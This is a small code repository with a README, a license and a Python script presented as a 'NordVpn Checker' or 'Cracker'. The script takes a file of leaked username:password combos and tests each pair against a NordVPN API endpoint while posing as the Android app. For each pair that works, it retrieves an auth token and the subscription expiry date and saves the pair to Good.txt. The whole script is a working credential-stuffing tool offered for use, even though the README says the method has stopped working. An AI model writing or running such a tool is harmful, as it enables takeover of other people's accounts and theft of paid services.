├── example.png
├── README.md
├── LICENSE
└── NordVpn_Checker.py
/example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AmirTyper/NordVpn_Checker/HEAD/example.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Important Note!
2 |
3 | This method is not working anymore. I hope you enjoyed it in the past 3 years.
4 |
5 | # NordVpn_Checker
6 |
7 |
8 | Nord Vpn Cracker ProxyLess
9 |
10 |
11 |
12 |
13 |
14 |
15 | How To Install:
16 | pkg update
17 | pkg upgrade
18 | pkg install python
19 | pkg install base64
20 | pkg install requests
21 | pkg install re
22 | pkg install git
23 |
24 | -- HOW TO Use:
25 |
26 | git clone https://github.com/Amirtyper/NordVpn_Checker.git
27 | cd NordVpn_Checker
28 | python NordVpn_Checker.py
29 |
30 |
31 |
32 | # Support me
33 | The easiest way to support me is to click on the star (
Developer's Telegram: Mr_Amir_Typer
37 | Developer's Instagram: amir_typer
38 | Developer's Twitter: AmirTyper
39 | My Website: amirtyper.ir
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Boost Software License - Version 1.0 - August 17th, 2003
2 |
3 | Permission is hereby granted, free of charge, to any person or organization
4 | obtaining a copy of the software and accompanying documentation covered by
5 | this license (the "Software") to use, reproduce, display, distribute,
6 | execute, and transmit the Software, and to prepare derivative works of the
7 | Software, and to permit third-parties to whom the Software is furnished to
8 | do so, all subject to the following:
9 |
10 | The copyright notices in the Software and this entire statement, including
11 | the above license grant, this restriction and the following disclaimer,
12 | must be included in all copies of the Software, in whole or in part, and
13 | all derivative works of the Software, unless such copies or derivative
14 | works are solely in the form of machine-executable object code generated by
15 | a source language processor.
16 |
17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
19 | FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT
20 | SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE
21 | FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,
22 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
23 | DEALINGS IN THE SOFTWARE.
24 |
--------------------------------------------------------------------------------
/NordVpn_Checker.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import base64
3 | import re
4 |
5 | welcome = """
6 | ||||| NordVpn Checker [ProxyLess] |||||
7 |
8 | |||| Coded By : @Mr_Amir_Typer ||||
9 |
10 | ||| Our Channel : @Sezar_Hack |||
11 |
12 | || ©Powered By : NowaTech.ir ||
13 | """
14 | print(welcome)
15 | def login(combo):
16 | try:
17 |
18 | url = "https://zwyr157wwiu6eior.com/v1/users/tokens"
19 | headers = {
20 | "accept": "*/*",
21 | "user-agent": "NordApp android (playstore/2.7.3) Android 8.1.0",
22 | "content-type": "application/x-www-form-urlencoded",
23 | }
24 |
25 | data = combo.split(":")
26 | r = requests.post(url, headers=headers, data="username="+data[0]+"&password="+data[1])
27 | f= open("c.sz","w+")
28 | f.write(r.text)
29 | f.close()
30 | return r.text
31 | except:
32 | print ("\n[[error: check your internet or change your ip and try again]]"+"\n")
33 | x=""
34 | def main():
35 | list = open(input("ComboList: "), "r").read().splitlines()
36 | print(x)
37 | for combo in list:
38 | if "\"token\":" in login(combo):
39 | fopen = open("c.sz","r").read()
40 | regex = r"\"token\":\"(.+?)\""
41 | test_str =str(fopen)
42 | matches = re.finditer(regex, test_str, re.MULTILINE)
43 | for matchNum, match in enumerate(matches, start=1):
44 | for groupNum in range(0, len(match.groups())):
45 | groupNum = groupNum + 1
46 | token = "{group}".format(groupNum = groupNum, start = match.start(groupNum), end = match.end(groupNum), group = match.group(groupNum))
47 | message = "token:"+token
48 | message_bytes = message.encode('ascii')
49 | base64_bytes = base64.b64encode(message_bytes)
50 | base64_message = base64_bytes.decode('ascii')
51 | b64 = base64_message
52 | url2 = "https://zwyr157wwiu6eior.com/v1/users/services"
53 | headers2 = {
54 | "accept": "*/*",
55 | "user-agent": "NordApp android (playstore/2.7.3) Android 8.1.0",
56 | "content-type": "application/x-www-form-urlencoded",
57 | "Authorization": "Basic "+b64
58 | }
59 | r2 = requests.get(url2, headers=headers2)
60 | #print(r2)
61 | cap = r2.text
62 | regex2 = r"\"expires_at\":\"(.+?)\""
63 | test_str2 =cap
64 | matches2 = re.finditer(regex2, test_str2, re.MULTILINE)
65 | for matchNum2, match in enumerate(matches2, start=1):
66 | for groupNum2 in range(0, len(match.groups())):
67 | groupNum2 = groupNum2 + 1
68 | exp = "{group}".format(groupNum2 = groupNum2, start = match.start(groupNum2), end = match.end(groupNum2), group = match.group(groupNum2))
69 | #print(exp)
70 |
71 | try:
72 | f = open("Good.txt", "a")
73 | f.write(combo+" -----> Good | Date = " + str(exp) + "\n")
74 | f.close()
75 | print (combo+" -----> Good | Date = " + str(exp))
76 | except:
77 | print(combo+" -----> Good | No Service")
78 | f.write(combo+" -----> Good | No Service" + "\n")
79 | f.close()
80 | else:
81 | if "nginx" in login(combo):
82 | last = open("last.sz","a")
83 | last.truncate(0)
84 | last.write(combo+"\n")
85 | last.close()
86 | openlast = open("last.sz","r").read()
87 |
88 | print ("\n[[error: check your internet or change your ip and try again]]"+"\n")
89 | if "name=" not in openlast:
90 | print("Last Combo: "+openlast)
91 | else:
92 | print("Last Combo: "+openlast)
93 | pass
94 | return
95 | else:
96 | print (combo+" -----> Bad")
97 | if __name__ == "__main__":
98 | main()
99 | print("\n*====================The-End====================*")
100 |
101 | #1399/04/07
102 | #27/6/2020
103 |
--------------------------------------------------------------------------------